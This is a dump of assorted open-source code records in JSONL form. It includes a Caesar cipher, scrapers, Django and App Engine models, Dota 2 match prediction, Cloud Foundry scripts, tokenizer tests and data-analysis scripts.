#Majuscule\n elif ror.isupper():\n temp.append(chr((ord(ror)+(decalage+index)-65)%26+65))\n\n #Pas décalage\n else:\n temp.append(ror)\n\n print('Répition n°{}: {}'.format(index, ''.join(temp)))\n\n return ''.join(temp)\n\n def rot13(self, chaine):\n return self.alphabet(chaine, 13, 1)\n\n #Fonction ascii : Utilise le chiffrement par décalage avec l'entièreté de la table ASCII\n def ascii(self, chaine, decalage, repetition):\n\n for index in range(repetition):\n\n temp = []\n\n for ror in chaine:\n\n temp.append(chr((ord(ror)+(decalage+index))%256))\n\n print('Répition n°{}: {}'.format(index, ''.join(temp)))\n\n return ''.join(temp)\n ","sub_path":"cesar/cesar.py","file_name":"cesar.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"387140546","text":"import feedparser\nimport httplib\nfrom BeautifulSoup import BeautifulSoup, Comment\nimport urllib2\nimport re\n\ndef getHTML(url):\n\treq = urllib2.Request(url)\n\thandle = urllib2.urlopen(req)\n\treturn handle.read()\n\ndef getText(html):\n\treturnString = ''\n\tsoup = BeautifulSoup(html)\n\ttexts = soup.find(\"div\", { \"class\" : \"PostContent\" },'p').contents[3].contents\n\tfor text in texts:\n\t\tif text.string :\n\t\t\treturnString += str(text.string)\n\treturn returnString\n\nif __name__ == '__main__':\n\thtml = getHTML(\"http://www.webartigos.com/articles/64031/1/A-BUSSOLA-DOURADA-/pagina1.html\")\n\tprint(getText(html))\n","sub_path":"TextAnalyseur/tests/webartigos.py","file_name":"webartigos.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"223269213","text":"__author__ = \"Pieter du Toit\"\nimport random\n\n\nRANGE = 1000000\nsecret = random.randrange(1, RANGE+1)\nprint(\"I'm thinking of a secret number between 1 and {0}\".format(RANGE))\nprint(secret)\ndef getGuess():\n guess = 0\n while guess == 0:\n try:\n guess = int(input(\"What is your guess: \"))\n except:\n print(\"Sorry I only accept numbers, please guess again using a number.\")\n return guess\n\ncount = 0\nguess = 0\nwhile guess != secret:\n guess = getGuess()\n if (guess < secret): \n print(\"Too low\")\n count += 1\n elif (guess > secret): \n print(\"Too high\")\n count += 1\n else: print(\"You win, and got it in {0} guesses\".format(count + 1))","sub_path":"programming_in_python/twentyquestions.py","file_name":"twentyquestions.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"579918518","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport numpy as np\n\nfrom openmdao.api import ExplicitComponent\n\n\nclass Thrust(ExplicitComponent):\n\n def initialize(self):\n self.options.declare('e', types=float)\n\n def setup(self):\n self.add_input('throttle')\n self.add_input('avaliable_thrust')\n self.add_output('thrust')\n\n self.declare_partials('CDi', 'CL')\n self.declare_partials('CDi', 'AR')\n\n def compute(self, inputs, outputs):\n throttle=inputs['throttle']\n a_thrust=inputs['avaliable_thrust']\n\n #outputs['thrust'] = (throttle * a_thrust)\n \n \n def Thrust(self, inputs, outputs):\n comp = PowerCombinationComp(\n shape=shape,\n out_name='thrust',\n powers_dict=dict(\n throttle=1.,\n available_thrust=1.,\n ),\n )\n\n def compute_partials(self, inputs, partials):\n e = self.options['e']\n\n throttle=inputs['throttle']\n a_thrust=inputs['sealevel_thrust']\n\n partials['thrust', 'throttle'] = a_thrust\n partials['thrust', 'avaliable_thrust'] = throttle\n\n","sub_path":"turbofan/thrust.py","file_name":"thrust.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"24217834","text":"\"\"\"Dictionary that stores the count for each intent appearing in a dataset\"\"\"\n\natisCountDict = {\n 'atis_flight': 3308,\n 'atis_airfare': 385,\n 'atis_ground_service': 230,\n 'atis_airline': 139,\n 'atis_abbreviation': 130,\n 'atis_aircraft': 70,\n 'atis_flight_time': 45,\n 'atis_quantity': 41,\n 'atis_city': 18,\n 'atis_airport': 17,\n 'atis_distance': 17,\n 'atis_capacity': 15,\n 'atis_ground_fare': 15,\n 'atis_flight_no': 12,\n 'atis_meal': 6,\n 'atis_restriction': 5,\n 'atis_cheapest': 1,\n 'atis_flight#atis_airfare': 19,\n 'atis_airline#atis_flight_no': 2,\n 'atis_ground_service#atis_ground_fare': 1,\n 'atis_aircraft#atis_flight#atis_flight_no': 1\n}\n\nsnipsCountDict = {\n 'PlayMusic': 1913,\n 'GetWeather': 1896,\n 'BookRestaurant': 1881,\n 'RateBook': 1876,\n 'SearchScreeningEvent': 1852,\n 'SearchCreativeWork': 1847,\n 'AddToPlaylist': 1818\n}\n\nfbAlarmCountDict = {\n 'alarm/set_alarm': 4816,\n 'alarm/cancel_alarm': 2069,\n 'alarm/show_alarm': 1142,\n 'alarm/modify_alarm': 439,\n 'alarm/snooze_alarm': 432,\n 'alarm/time_left_on_alarm': 384\n}\n\nfbReminderCountDict = {\n 'reminder/set_reminder': 4743,\n 'reminder/cancel_reminder': 1151,\n 'reminder/show_reminders': 1006\n}\n\nfbWeatherCountDict = {\n 'weather/find': 3953,\n 'weather/checkSunset': 55,\n 'weather/checkSunrise': 35\n}\n\n\"\"\"Maps task to respective dictionaries\"\"\"\ntaskToDict = {\n 'atis': atisCountDict,\n 'snips': snipsCountDict,\n 'fb-alarm': fbAlarmCountDict,\n 'fb-reminder': fbReminderCountDict,\n 'fb-weather': fbWeatherCountDict\n}","sub_path":"K-Shot/countDict.py","file_name":"countDict.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"42395403","text":"from tensorflow.keras.layers import Input, Conv2D, Conv3D, MaxPooling2D, MaxPooling3D, LeakyReLU\nfrom tensorflow.keras.layers import Flatten, Dense, concatenate, Reshape, Dropout\nfrom tensorflow.keras import regularizers, models\nimport numpy as np\n\n\ndef multi_CNN(n_classes, NN_type, sample, l2, dropout, CNN, FCN, images, tracks, scalars):\n regularizer = regularizers.l2(l2)\n input_dict = {key:Input(shape=sample[key].shape[1:], name=key) for key in images+tracks+scalars}\n shape_set = set([sample[key].shape[1:] for key in images])\n output_list = []\n for shape in shape_set:\n inputs = [Reshape(shape+(1,))(input_dict[key]) for key in images if sample[key].shape[1:]==shape]\n outputs = concatenate(inputs, axis=3) if len(inputs) > 1 else inputs[0]\n n_maps = [CNN[shape]['maps' ][layer] for layer in np.arange(len(CNN[shape]['maps']))]\n kernels = [CNN[shape]['kernels'][layer] for layer in np.arange(len(CNN[shape]['maps']))]\n pools = [CNN[shape]['pools' ][layer] for layer in np.arange(len(CNN[shape]['maps']))]\n if np.all(np.array([len(kernel) for kernel in kernels]) >= 3):\n kernels_dim = 3\n outputs = Reshape(outputs.shape[1:]+(1,)) (outputs)\n else: kernels_dim = 2\n kernels = [(kernel+(3-len(kernel))*(1,))[:kernels_dim] for kernel in kernels]\n pools = [( pool +(3-len( pool ))*(1,))[:kernels_dim] for pool in pools ]\n if NN_type == 'CNN':\n for layer in np.arange(len(CNN[shape]['maps'])):\n if len(kernels[layer]) == 2:\n outputs = Conv2D(n_maps[layer], kernels[layer], kernel_regularizer=regularizer)(outputs)\n outputs = MaxPooling2D(pools[layer], padding='same') (outputs)\n if len(kernels[layer]) == 3:\n outputs = Conv3D(n_maps[layer], kernels[layer], kernel_regularizer=regularizer)(outputs)\n outputs = MaxPooling3D(pools[layer], padding='same') (outputs)\n outputs = LeakyReLU(alpha=0) (outputs)\n output_list += [Flatten()(outputs)]\n for key in tracks+scalars: output_list += [Flatten()(input_dict[key])]\n outputs = concatenate(output_list) if len(output_list)>1 else output_list[0]\n for n_neurons in FCN:\n outputs = Dense(n_neurons, kernel_regularizer=regularizer) (outputs)\n outputs = LeakyReLU(alpha=0) (outputs)\n outputs = Dropout(dropout) (outputs)\n outputs = Dense(n_classes, activation='softmax', dtype='float32') (outputs)\n return models.Model(inputs = list(input_dict.values()), outputs = outputs)\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"361895074","text":"from django.conf import settings\n\nfrom django.contrib.messages.views import SuccessMessageMixin\nfrom django.http import HttpResponse\nfrom django.views.generic import UpdateView, View\nfrom django.shortcuts import render, redirect\n\n# Create your views here.\nfrom .forms import MarketingPreferenceForm\nfrom .mixins import CsrfExemptMixin\nfrom .models import MarketingPreference\nfrom .utils import Mailchimp\nMAILCHIMP_EMAIL_LIST_ID = \"4052e382b9\"\n\n\nclass MarketingPreferenceUpdateView(SuccessMessageMixin, UpdateView):\n form_class = MarketingPreferenceForm\n template_name = 'base/forms.html'\n success_url = '/settings/email/'\n success_message = \"Your email preferences have been updated. Thank you\"\n\n def dispatch(self, *args, **kwargs):\n user = self.request.user\n if not user.is_authenticated:\n return redirect(\"/login/?next=/settings/email/\")\n return super(MarketingPreferenceUpdateView, self).dispatch(*args, **kwargs)\n\n def get_context_data(self, *args, **kwargs):\n context = super(MarketingPreferenceUpdateView, self).get_context_data(*args, **kwargs)\n context['title'] = 'Update Email Preferences'\n return context\n\n def get_object(self):\n user = self.request.user\n obj, created = MarketingPreference.objects.get_or_create(user=user)\n return obj\n\n\"\"\"\nfired_at: 2019-01-17 23:12:01\ndata[merges][EMAIL]: rafaelrisconardiz@gmail.com\ntype: subscribe\ndata[web_id]: 667363\ndata[ip_opt]: 186.80.253.4\ndata[email_type]: html\ndata[merges][FNAME]: Rafael\ndata[merges][LNAME]: Risco\ndata[merges][PHONE]:\ndata[id]: 9c8fb92449\ndata[list_id]: 4052e382b9\ndata[merges][ADDRESS]:\ndata[email]: rafaelrisconardiz@gmail.com\ndata[merges][BIRTHDAY]:\n\"\"\"\n\nclass MailchimpWebhookView(CsrfExemptMixin, View):\n def post(self, request, *args, **kwargs):\n data = request.POST\n list_id = data.get('data[list_id]')\n if str(list_id) == str(MAILCHIMP_EMAIL_LIST_ID):\n hook_type = data.get('type')\n email = data.get('data[email]')\n response_status, response = Mailchimp().check_subcription_status(email)\n sub_status = response['status']\n is_subbed = None\n mailchimp_subbed = None\n if sub_status == \"subscribed\":\n is_subbed, mailchimp_subbed = (True, True)\n elif sub_status == \"unsubscribed\":\n is_subbed, mailchimp_subbed = (False, False)\n if is_subbed is not None and mailchimp_subbed is not None:\n qs = MarketingPreference.objects.filter(user__email__iexact=email)\n if qs.exits():\n qs.update(\n subscribed=is_subbed,\n mailchimp_subscribed=mailchimp_subbed,\n mailchimp_msg=str(data)\n )\n return HttpResponse(\"Thank you\", status=200)\n\n\n# def mailchimp_webhook_view(request):\n# data = request.POST\n# list_id = data.get('data[list_id]')\n# if str(list_id) == str(MAILCHIMP_EMAIL_LIST_ID):\n# hook_type = data.get('type')\n# email = data.get('data[email]')\n# response_status, response = Mailchimp().check_subcription_status(email)\n# sub_status = response['status']\n# is_subbed = None\n# mailchimp_subbed = None\n# if sub_status == \"subscribed\":\n# is_subbed, mailchimp_subbed = (True, True)\n# elif sub_status == \"unsubscribed\":\n# is_subbed, mailchimp_subbed = (False, False)\n# if is_subbed is not None and mailchimp_subbed is not None:\n# qs = MarketingPreference.objects.filter(user__email__iexact=email)\n# if qs.exits():\n# qs.update(\n# subscribed=is_subbed,\n# mailchimp_subscribed=mailchimp_subbed,\n# mailchimp_msg=str(data)\n# )\n# return HttpResponse(\"Thank you\", status=200)\n","sub_path":"ecommerce/marketing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"176258262","text":"import subprocess\nimport shlex\n\nimport datetime\nimport time\nst = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d-%H:%M:%S')\n\nlogin_command = ''\nlist_all_orgs = 'cf orgs'\nlist_space_users = ''\napi = ''\nuser = ''\npwd = ''\n\nprocess = subprocess.Popen(shlex.split(login_command), stdout=subprocess.PIPE)\nstdout = process.communicate()[0]\nprint(stdout)\nprocess = subprocess.Popen(shlex.split(list_all_orgs), stdout=subprocess.PIPE)\nstdout1 = process.communicate()[0]\norg_list = stdout1.split('name')[1].strip().split(\"\\n\")\nfileObject = open(\"OrgData\"+st+\".txt\",\"w\") \nfor org in org_list:\n process = subprocess.Popen(shlex.split(\"cf org \"+org), stdout=subprocess.PIPE)\n raw_org_data = process.communicate()[0]\n space_list = raw_org_data.split(\"spaces:\")[1].strip().replace(\"isolation segments:\",\"\").strip().split(',')\n print(raw_org_data)\n fileObject.write('-----------------------------------'+'\\n')\n fileObject.write(org+\":\"+'\\n')\n fileObject.write('-----------------------------------'+'\\n')\n for space in space_list:\n fileObject.write('\\t'+'-----------------------------------'+'\\n')\n fileObject.write('\\t'+space+\":\"+'\\n')\n fileObject.write('\\t'+'-----------------------------------'+'\\n')\n login_specific_org_space = \"cf login -a \" + api + \" -u \" + user + \" -p \" + pwd + \" -o \" + org + \" -s \" + space + \" --skip-ssl-validation\"\n process = subprocess.Popen(shlex.split(login_specific_org_space), stdout=subprocess.PIPE)\n login_org_space = process.communicate()[0]\n print(login_org_space)\n process = subprocess.Popen(shlex.split(\"cf apps\"), stdout=subprocess.PIPE)\n apps_list_res = process.communicate()[0] \n apps_list = apps_list_res.split('\\n')\n for app in apps_list:\n fileObject.write('\\t'+app+'\\n') \nfileObject.close()\n","sub_path":"pcf-org-data.py","file_name":"pcf-org-data.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"462193490","text":"#Read the data\nimport pandas as pd\ndf=pd.read_csv('Crimes_-_2001_to_present.csv')\n\n#4. Among those types of crime for which there are at least 1000 incidents, which type is most likely to result in arrest?\n#Hint: Create a boolean series whose index is crime type and value is whether the count is at least 1000. Use that to subset your answer to 3 and then sort.\n\n#Subset the data with at least 1000 incidents\ntotal_crimes=pd.Series(df['Primary Type'].value_counts(), name='Total crimes')\ntotal_arr_crim=pd.Series(df[df.Arrest == True]['Primary Type'].value_counts(), name='Total arrests')\nprobability=pd.Series((total_arr_crim/total_crimes), name=\"Probability\")\n\n\nresults=(pd.concat([total_crimes, total_arr_crim, probability], axis=1))\nprint('Q4. The type of crime with more than 1000 incidents that is most likely to result in arrests is: ')\nprint(results[results['Total crimes']>=1000].sort_values(by='Probability').tail(1))\n","sub_path":"q4.py","file_name":"q4.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"499761244","text":"from google.appengine.ext import ndb\n\nclass GameProgress(ndb.Model):\n roomID = ndb.IntegerProperty()\n word_progress = ndb.StringProperty()\n username = ndb.StringProperty()\n bad_guesses = ndb.IntegerProperty()\n\n @classmethod\n def CreateNewProgress(cls, data) :\n gameProgress = GameProgress()\n gameProgress.roomID = data['id']\n gameProgress.bad_guesses = 0\n gameProgress.username = data['username']\n gameProgress.word_progress = data['word_progress']\n gameProgress.Save()\n return gameProgress\n\n @classmethod\n def GetGameProgress(cls, id, name):\n query = GameProgress.query(GameProgress.roomID == id, GameProgress.username == name)\n return query.get()\n\n @classmethod\n def DeleteAllProgress(cls):\n query = GameProgress.query()\n for querying in query :\n querying.Destroy()\n\n @classmethod\n def DeleteGameProgressesWithID(cls, id):\n query = GameProgress.query(GameProgress.roomID == id)\n for querying in query :\n querying.Destroy()\n\n\n def Save(self):\n return self.put()\n\n def Destroy(self):\n return self.key.delete()\n\n def NewWordProgress(self, wordProgress):\n self.word_progress = str(wordProgress)\n self.put()","sub_path":"assignment_2/GameData/GameProgress.py","file_name":"GameProgress.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"537168475","text":"from hdb import models\n#from django.db.models import signals, get_apps, get_models\nfrom django.dispatch import receiver\n\n#@receiver(post_syncdb, sender=models)\ndef init_data(app, created_models, verbosity, **kwargs):\n if models.DHCPScope in created_models:\n zone = models.DHCPScope(\n zonename=\"Global\",\n )\n zone.save()\n","sub_path":"hdb/management/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"327558543","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 14 18:20:02 2019\n\n@author: ZY\n\"\"\"\n\nimport requests\nimport allModelFile as rft\nimport pickle\n\n\nkey = 'B7303CCF8E7D626136174C243D689CEA'\nti9_id = 10749\n\ndef getLiveGames():\n result = requests.get(f'http://api.steampowered.com/IDOTA2Match_570/GetLiveLeagueGames/v1/?key={key}')\n print(f'status_code: {result.status_code}')\n #print(f'result Json:\\n{result.json()}')\n \n print(f\"amount of matches: {len(result.json()['result']['games'])}\")\n \n players = result.json()['result']['games'][0]['players']\n \n print(f'len players: {len(players)}')\n \n for player in players:\n print(player['hero_id'], player['team'])\n \ndef getLeagues():\n result = requests.get(f'http://api.steampowered.com/IDOTA2AutomatedTourney_570/GetActiveTournamentList/v1/?key={key}')\n print(f'status_code: {result.status_code}')\n #print(f'result Json:\\n{result.json()}')\n if result.status_code != 403:\n print(f'amount of leagues: {len(result[\"leagues\"])}')\n \ndef tiOnly(match):\n return match['league_id'] == ti9_id\n \n \ndef getTIGames():\n result = requests.get(f'http://api.steampowered.com/IDOTA2Match_570/GetLiveLeagueGames/v1/?key={key}')\n matches = result.json()['result']['games']\n matches = filter(tiOnly, matches)\n rHeros = []\n dHeros = []\n matchIDS = []\n teamNames = []\n for match in matches:\n players = match['players']\n rHero = []\n dHero = []\n for player in players:\n hero_id = player['hero_id']\n team_id = player['team_id']\n if team_id == 0:\n rHero.append(hero_id)\n elif team_id == 1:\n dHero.append(hero_id)\n matchID = match['match_id']\n matchIDS.append(matchID)\n rHeros.append(rHero)\n dHeros.append(dHero)\n matchData = requests.get(f'https://api.steampowered.com/IDOTA2Match_570/GetMatchDetails/V001/?match_id={matchID}&key={key}')\n r_team_id = matchData['radiant_team_id']\n d_team_id = matchData['dire_team_id']\n r_team = requests.get(f'http://api.steampowered.com/IDOTA2Match_570/GetTeamInfo/v1/?team_id={r_team_id}&key={key}')\n d_team = requests.get(f'http://api.steampowered.com/IDOTA2Match_570/GetTeamInfo/v1/?team_id={d_team_id}&key={key}') \n teamNames.append([r_team['name'], d_team['name']])\n botPost(matchIDS, rHeros, dHeros, teamNames)\n\ndef generateModels():\n matchData = rft.readData(\"testMatches_noBool.csv\")\n cleanedData = rft.cleanData(matchData)\n rforestmodel = rft.scikitRForest(cleanedData)\n nnmlpmodel = rft.scikitMLP(cleanedData)\n xgbforestmodel = rft.xgBoost(cleanedData)\n testmodel = rft.scikitTest(cleanedData)\n\n rfilename = 'scikitrforest_model.sav'\n nnmlpfilename = 'nnmlp_model.sav'\n xgbfilename = 'xgboost_model.sav'\n testfilename = 'test_model.sav'\n pickle.dump(rforestmodel, open(rfilename, 'wb'))\n pickle.dump(nnmlpmodel, open(nnmlpfilename, 'wb'))\n pickle.dump(xgbforestmodel, open(xgbfilename, 'wb'))\n pickle.dump(testmodel, open(testfilename, 'wb'))\n\n\ndef predict(radiant, dire):\n rforestrate = rft.predictResult(radiant, dire, rforest) * 100\n xgbrate = rft.predictResult(radiant, dire, xgbforest) * 100\n avgrate = ((rforestrate + xgbrate) / 2)\n return avgrate\n\ndef botPost(matchIDS, rHeros, dHeros, teamNames, post, template):\n final = ''\n for index in range(len(matchIDS)):\n rHero = rHeros[index]\n dHero = dHeros[index]\n percentage = predict(rHero, dHero)\n team = int(percentage >= 50)\n final += template.formamt()\n \n \n \nif __name__ == \"__main__\":\n getLiveGames()\n getLeagues()\n generateModels()\n rforest = pickle.load(open('scikitrforest_model.sav', 'rb'))\n nnmlp = pickle.load(open('nnmlp_model.sav', 'rb'))\n xgbforest = pickle.load(open('xgboost_model.sav', 'rb'))\n testmo = pickle.load(open('test_model.sav', 'rb'))\n print('predictor complete')\n ","sub_path":"src/league_test.py","file_name":"league_test.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"219293637","text":"import urllib\nimport os\nimport random\nimport string\nimport tarfile\nimport shutil\n\ndef random_name():\n return ''.join([random.choice(string.letters) for i in range(0, 32)])\n\ndef download_temp(url):\n root = '/tmp/paxd-%s' % random_name()\n os.makedirs(root)\n archive = os.path.join(root, random_name() + '-archive.tar.gz')\n if url.startswith('file://'):\n shutil.copyfile(url[7:], archive)\n else:\n urllib.urlretrieve(url, archive)\n tar = tarfile.open(archive, mode='r:gz')\n tar.extractall(root)\n tar.close()\n os.unlink(archive)\n return root\n\ndef join(root, file):\n if file and file[0] == '/':\n file = file[1:]\n file = os.path.abspath(os.path.join(root, file))\n assert file.startswith(root), 'file must be within root directory'\n return file\n\n","sub_path":"paxd/server/fsys.py","file_name":"fsys.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"451417086","text":"import pandas as pd\nimport numpy as np\n\n\ndef find_nearest(array, value):\n \"\"\"\n \"\"\"\n array = np.asarray(array)\n idx = (np.abs(array - value)).argmin()\n return idx, array[idx]\n\ndef get_stress(F, w, t):\n \"\"\"\n \"\"\"\n return F / ( w * t)\n\ndf_ut = pd.read_excel('strain.xlsx', sheet_name='strain')\ndf_zwick = df_ut.ix[:,['s','N']]\ndf_mer = df_ut.ix[:,['time','e1', 'e2']]\n\narray_zwick = df_zwick.values\narray_mer = df_mer.values\n\narray_zwick = array_zwick[~np.isnan(array_zwick)].reshape(-1,2)\narray_mer = array_mer[~np.isnan(array_mer)].reshape(-1,3)\n\ne2f = np.array([-1,0,0])\ntime_cache = 0.0\nz_cache = 0\nfor (time_m, e1_m, e2_m) in array_mer:\n for z in np.arange(z_cache, array_zwick.shape[0]):\n time_z = array_zwick[z,0]\n print\n if time_z < time_m:\n time_cache = time_z\n else:\n idx, near = find_nearest([time_cache,time_z], time_m)\n if idx == 0:\n e2f = np.vstack([e2f, [e1_m, e2_m, array_zwick[z-1, 1]]])\n else:\n e2f = np.vstack([e2f, [e1_m,e2_m, array_zwick[z, 1]]])\n z_cache = z\n break\n\ne2f[np.where(e2f[:,0] == 0.0), 1:3] = 0\ne2f = e2f[1:,:]\n\n#Engine strain\ne_eng = np.exp(e2f[:,0]) - 1\n\ne1 = e2f[:, 0]\ne2 = e2f[:, 1]\ne3 = -e2 - e1\n\n#effective strain\ne_ef = np.sqrt(2 * (e1 - e2) ** 2 + (e1 - e3) ** 2 + (e2 - e3) ** 2 ) / 3\n\n#stress calculaito\nsigma = get_stress(e2f[:, 2] * (1 + e_eng), 3.15, 1.5)\noutput = np.hstack((e_eng.reshape(-1,1), e2f,sigma.reshape(-1,1),e_ef.reshape(-1,1)))\n\ndf_e2f = pd.DataFrame(output, columns = ['eng','e1', 'e2', 'N','sigma', 'ef'])\ndf_e2f.to_excel('output.xlsx')\n","sub_path":"postprocess/strain_stress.py","file_name":"strain_stress.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"173197890","text":"r\"\"\"Test `lmp.tokenizer.WhitespaceListTokenizer.convert_token_to_id`.\n\nUsage:\n python -m unittest \\\n test.lmp.tokenizer._whitespace_list_tokenizer.test_convert_token_to_id\n\"\"\"\n\n# built-in modules\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport gc\nimport inspect\nimport math\nimport unittest\n\n# self-made modules\n\nfrom lmp.tokenizer import WhitespaceListTokenizer\n\n\nclass TestConvertTokenToId(unittest.TestCase):\n r\"\"\"Test case for `lmp.tokenizer.WhitespaceListTokenizer.convert_token_to_id`.\"\"\"\n\n def setUp(self):\n r\"\"\"Setup both cased and uncased tokenizer instances.\"\"\"\n self.cased_tokenizer = WhitespaceListTokenizer()\n self.uncased_tokenizer = WhitespaceListTokenizer(is_uncased=True)\n self.tokenizers = [self.cased_tokenizer, self.uncased_tokenizer]\n\n def tearDown(self):\n r\"\"\"Delete both cased and uncased tokenizer instances.\"\"\"\n del self.tokenizers\n del self.cased_tokenizer\n del self.uncased_tokenizer\n gc.collect()\n\n def test_signature(self):\n r\"\"\"Ensure signature consistency.\"\"\"\n msg = 'Inconsistent method signature.'\n\n self.assertEqual(\n inspect.signature(WhitespaceListTokenizer.convert_token_to_id),\n inspect.Signature(\n parameters=[\n inspect.Parameter(\n name='self',\n kind=inspect.Parameter.POSITIONAL_OR_KEYWORD,\n default=inspect.Parameter.empty\n ),\n inspect.Parameter(\n name='token',\n kind=inspect.Parameter.POSITIONAL_OR_KEYWORD,\n annotation=str,\n default=inspect.Parameter.empty\n ),\n ],\n return_annotation=int\n ),\n msg=msg\n )\n\n def test_invalid_input_token(self):\n r\"\"\"Raise `TypeError` when input `token` is invalid.\"\"\"\n msg1 = 'Must raise `TypeError` when input `token` is invalid.'\n msg2 = 'Inconsistent error message.'\n examples = (\n False, True, 0, 1, -1, 0.0, 1.0, math.nan, -math.nan, math.inf,\n -math.inf, 0j, 1j, b'', (), [], {}, set(), object(), lambda x: x,\n type, None, NotImplemented, ...,\n )\n\n for invalid_input in examples:\n for tokenizer in self.tokenizers:\n with self.assertRaises(TypeError, msg=msg1) as cxt_man:\n tokenizer.convert_token_to_id(token=invalid_input)\n\n self.assertEqual(\n cxt_man.exception.args[0],\n '`token` must be an instance of `str`.',\n msg=msg2\n )\n\n def test_return_type(self):\n r\"\"\"Return `int`.\"\"\"\n msg = 'Must return `int`.'\n examples = (\n '[bos]',\n '[eos]',\n '[pad]',\n '[unk]',\n 'Hello World',\n '',\n )\n\n for token in examples:\n for tokenizer in self.tokenizers:\n self.assertIsInstance(\n tokenizer.convert_token_to_id(token=token),\n int,\n msg=msg\n )\n\n def test_return_special_token_id(self):\n r\"\"\"Return special token id.\"\"\"\n msg = 'Must return special token id.'\n examples = (\n ('[bos]', 0),\n ('[eos]', 1),\n ('[pad]', 2),\n ('[unk]', 3),\n )\n\n for token, ans_token_id in examples:\n for tokenizer in self.tokenizers:\n self.assertEqual(\n tokenizer.convert_token_to_id(token=token),\n ans_token_id,\n msg=msg\n )\n\n def test_return_unknown_token_id(self):\n r\"\"\"Return unknown token id when token is unknown.\"\"\"\n msg = 'Must return unknown token id when token is unknown.'\n examples = (\n ('H', 3),\n ('e', 3),\n ('l', 3),\n ('o', 3),\n ('W', 3),\n ('r', 3),\n ('d', 3),\n ('', 3),\n )\n\n for token, ans_token_id in examples:\n for tokenizer in self.tokenizers:\n self.assertEqual(\n tokenizer.convert_token_to_id(token=token),\n ans_token_id,\n msg=msg\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/lmp/tokenizer/_whitespace_list_tokenizer/test_convert_token_to_id.py","file_name":"test_convert_token_to_id.py","file_ext":"py","file_size_in_byte":4608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"421168274","text":"from sklearn.metrics import mean_squared_error, mean_absolute_error\nimport xgboost as xgb\nfrom sklearn.model_selection import KFold, train_test_split\nfrom sklearn.linear_model import LinearRegression, Lasso, Ridge\nfrom scipy.stats import spearmanr\nimport numpy as np\nimport pandas as pd\nimport time, json\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler\n\n\n# FS variables:\nwith_fs_sel = True\nrank_clip = 100\nthreshold_clip = 0.3\n\n# variables\nind_run = 10\n\nridge_params = [0.0001, 0.01, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\ntest_portion = 0.1\nfold_num = 5\n\n# locations\n# # Marjan's PC\n# report_path = 'D:\\\\Dropbox\\\\Alireza_Thesis\\\\Implementations\\\\Methods_Results\\\\1_ridge\\\\Logs'\n# plot_path = 'D:\\\\Dropbox\\\\Alireza_Thesis\\\\Implementations\\\\Methods_Results\\\\1_ridge\\\\Plots'\n# csv_path = 'D:\\\\Dropbox\\\\Alireza_Thesis\\\\Final_data_set\\\\0_model_dfs\\\\unified_dfs_for_model.csv'\n# Alireza's PC\nreport_path = 'G:\\\\Dropbox\\\\Alireza_Thesis\\\\Implementations\\\\Methods_Results\\\\1_ridge\\\\Logs'\nplot_path = 'G:\\\\Dropbox\\\\Alireza_Thesis\\\\Implementations\\\\Methods_Results\\\\1_ridge\\\\Plots'\ncsv_path = 'G:\\\\Dropbox\\\\Alireza_Thesis\\\\Final_data_set\\\\0_model_dfs\\\\unified_dfs_for_model.csv'\n\ndropping_col = [\"Post's PK\", \"User's PK\", \"Comments Count\", 'Likes Count', 'Event Likes Med', 'Event Likes Avg','Event Comment Avg','Event Comment Med','Event Likes Sum','Event Comment Sum']\nrun_info = {}\nseeds = np.random.randint(100, size=ind_run) # Generate random seeds\n\n\ndef PrepareData(csv_path , dropping_col, seed):\n \"\"\"The function prepares the data which are:\n -selecting the prediction column\n -Dropping the unwanted cols\n -dividing the input df into training and test\n and return 4 dfs:\n +Input_TR: the training data: X train\n +Input_TE: the test data: X test\n +Output_TR: the training prediction: Y train\n +Output_TE: the test prediction: Y test\"\"\"\n data = pd.read_csv(csv_path)\n Output = data['Likes Count']\n Input = data.drop(dropping_col, axis=1)\n\n # drop constant columns\n Input = Input.loc[:, (Input != Input.iloc[0]).any()]\n\n Input_TR, 